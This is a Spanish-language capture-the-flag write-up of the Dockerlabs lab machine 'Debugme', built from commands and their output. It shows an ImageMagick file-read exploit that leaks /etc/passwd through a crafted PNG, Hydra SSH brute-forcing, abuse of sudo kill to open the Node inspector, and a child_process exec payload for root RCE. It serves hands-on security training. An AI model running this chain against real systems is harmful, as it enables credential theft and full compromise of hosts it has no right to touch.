Debugme es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Difícil
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 22:23 CEST Initiating ARP Ping Scan at 22:23 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 22:23, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 22:23 Scanning 172.17.0.2 [65535 ports] Discovered open port 22/tcp on 172.17.0.2 Discovered open port 443/tcp on 172.17.0.2 Discovered open port 80/tcp on 172.17.0.2 Completed SYN Stealth Scan at 22:23, 0.87s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.0000060s latency). Scanned at 2024-08-19 22:23:40 CEST for 1s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 443/tcp open https syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
┌──(kali㉿kali)-[~] └─$ nmap -p22,80,443 -sCV 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 22:38 CEST Nmap scan report for 172.17.0.2 Host is up (0.00018s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6b:35:91:cf:5e:a7:19:b1:af:c9:f3:9e:0e:25:62:2e (RSA) | 256 7e:c3:e4:b0:20:09:8f:4b:24:f7:cf:72:47:09:ab:b6 (ECDSA) |_ 256 89:89:11:91:38:6d:4f:1f:4f:ec:6c:eb:74:a1:ea:c3 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Redimensionar Imagen/PDF |_http-server-header: Apache/2.4.29 (Ubuntu) 443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu)) |_ssl-date: TLS randomness does not represent time | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) | ssl-cert: Subject: commonName=*.vm/organizationName=Docker Boilerplate | Not valid before: 2015-05-04T17:14:40 |_Not valid after: 2025-05-01T17:14:40 |_http-title: Redimensionar Imagen/PDF | tls-alpn: |_ http/1.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 20.85 seconds |
Entramos en el puerto 80/443 y vemos lo siguiente

Lo primero que haremos será subir una imagen para ver el funcionamiento normal de la pagina, así que subimos una foto con dimensiones «100» y este es el resultado

Ahora subiremos un pdf el cual esta modificado con un XSS, dándonos el siguiente error

Si buscamos en google el error, nos indica que lo que se esta usando por detrás, es ImageMagick, asi que tras buscar diferentes exploits parece funcionar este , así que lo reproducimos.
|
1 2 3 4 5 6 7 8 9 |
┌──(kali㉿kali)-[~] └─$ pngcrush -text a "profile" "/etc/password" 1.png Recompressing IDAT chunks in 1.png to pngout.png Total length of data found in critical chunks = 54883 Best pngcrush method = 10 (ws 15 fm 6 zl 9 zs 1) = 57714 CPU time decode 0.012965, encode 0.078407, other 0.001697, total 0.094685 sec ┌──(kali㉿kali)-[~] └─$ convert pngout.png gopro.png |
Subimos la imagen gopro.png con el tamaño que queramos y la imagen resultante nos la descargaremos.

Revisamos la imagen descargada para ver que realmente nos ha traido el fichero passwd
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
┌──(kali㉿kali)-[~] └─$ identify -verbose images.png Image: Filename: images.png Permissions: rw-rw-r-- Format: PNG (Portable Network Graphics) Mime type: image/png Class: DirectClass Geometry: 200x150+0+0 x 1297 726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d 6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f 6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e 2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269 6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f 62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d 65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a 2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a 783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f 6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372 2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73 706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31 303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f 6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573 722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d 646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b 75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f 7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69 7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67 696e0a6972633a783a33393a33393a697263643a2f7661722f72756e2f697263643a2f75 73722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e61747320 4275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69 622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36 353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f 7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e65 78697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a6170706c69636174696f 6e3a783a313030303a313030303a3a2f686f6d652f6170706c69636174696f6e3a2f6269 6e2f626173680a73797374656d642d6e6574776f726b3a783a3130313a3130343a737973 74656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374 656d642f6e657469663a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d 7265736f6c76653a783a3130323a3130353a73797374656d64205265736f6c7665722c2c 2c3a2f72756e2f73797374656d642f7265736f6c76653a2f7573722f7362696e2f6e6f6c 6f67696e0a6d6573736167656275733a783a3130333a3130363a3a2f6e6f6e6578697374 656e743a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3130343a363535 33343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a6c656e61 6d3a783a313030313a313030313a3a2f686f6d652f6c656e616d3a2f62696e2f62617368 0a |
Y este output lo convertiremos ascii, veremos el contenido del fichero al que hemos apuntado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
┌──(kali㉿kali)-[~] └─$ python3 -c 'print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f7661722f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a6170706c69636174696f6e3a783a313030303a313030303a3a2f686f6d652f6170706c69636174696f6e3a2f62696e2f626173680a73797374656d642d6e6574776f726b3a783a3130313a3130343a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d642f6e657469663a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130323a3130353a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d642f7265736f6c76653a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130363a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3130343a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a6c656e616d3a783a313030313a313030313a3a2f686f6d652f6c656e616d3a2f62696e2f626173680a").decode("utf-8"))' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin application:x:1000:1000::/home/application:/bin/bash systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:/usr/sbin/nologin lenam:x:1001:1001::/home/lenam:/bin/bash |
En este punto , probaremos fuerza bruta al usuario lenam.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
┌──(kali㉿kali)-[~] └─$ hydra -l lenam -P cortorock ssh://172.17.0.2 -f -t 64 -I Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-19 23:04:28 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 4997 login tries (l:1/p:4997), ~79 tries per task [DATA] attacking ssh://172.17.0.2:22/ [STATUS] 399.00 tries/min, 399 tries in 00:01h, 4633 to do in 00:12h, 29 active [22][ssh] host: 172.17.0.2 login: lenam password: loverboy [STATUS] attack finished for 172.17.0.2 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-19 23:06:39 |
Y encontrando su contraseña, entramos en el sistema.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
┌──(kali㉿kali)-[~] └─$ ssh lenam@172.17.0.2 lenam@172.17.0.2's password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 6.6.15-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. lenam@3c4d2fbe4641:~$ |
Revisamos que permisos tenemos con sudo -l
|
1 2 3 4 5 6 7 |
lenam@3c4d2fbe4641:~$ sudo -l [sudo] password for lenam: Matching Defaults entries for lenam on 3c4d2fbe4641: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User lenam may run the following commands on 3c4d2fbe4641: (ALL) /bin/kill |
Tras no ver con que podemos usar el binario kill, revisamos que conexiones tenemos en escucha
|
1 2 3 4 5 6 7 8 |
lenam@3c4d2fbe4641:~$ netstat -tulpan | grep LISTEN (No info could be read for "-p": geteuid()=1001 but you should be root.) tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - |
Y también vemos los procesos, activos, ya percatándonos que tenemos en el puerto 9000
|
1 |
root 52 0.0 0.4 922048 29568 ? Sl 20:22 0:00 /usr/bin/node /index.js |
Tal y como vemos en la siguiente pagina, parece que si matamos el proceso node, debería de ponerse en escucha un puerto para el debugger, concretamente en el puerto 9229
|
1 |
lenam@3c4d2fbe4641:~$ sudo kill -s SIGUSR1 52 |
Si volvemos a comprobar los puertos en escucha, vemos que si tenemos el puerto mencionado
|
1 2 3 4 5 6 7 8 9 10 11 12 |
lenam@3c4d2fbe4641:~$ netstat -tulpan (No info could be read for "-p": geteuid()=1001 but you should be root.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN - <strong>tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN -</strong> tcp 0 0 172.17.0.2:22 172.17.0.1:45196 ESTABLISHED - tcp6 0 0 :::22 :::* LISTEN - |
Entramos en el modo inspetor de node
|
1 2 |
lenam@3c4d2fbe4641:~$ node inspect 127.0.0.1:9229 debug> |
Y siguiendo el ejemplo en hacktricks, exec(«process.mainModule.require(‘child_process’).exec(‘/Applications/iTerm.app/Contents/MacOS/iTerm2’)») , enviamos el payload

Viendo que tenemos RCE, , con que usuario? deberiamos de ser root ya que es quien levanta el servicio

Como vemos que asi es, nos lanzamos una reverse shell

Y hasta aqui la maquina Debugme!






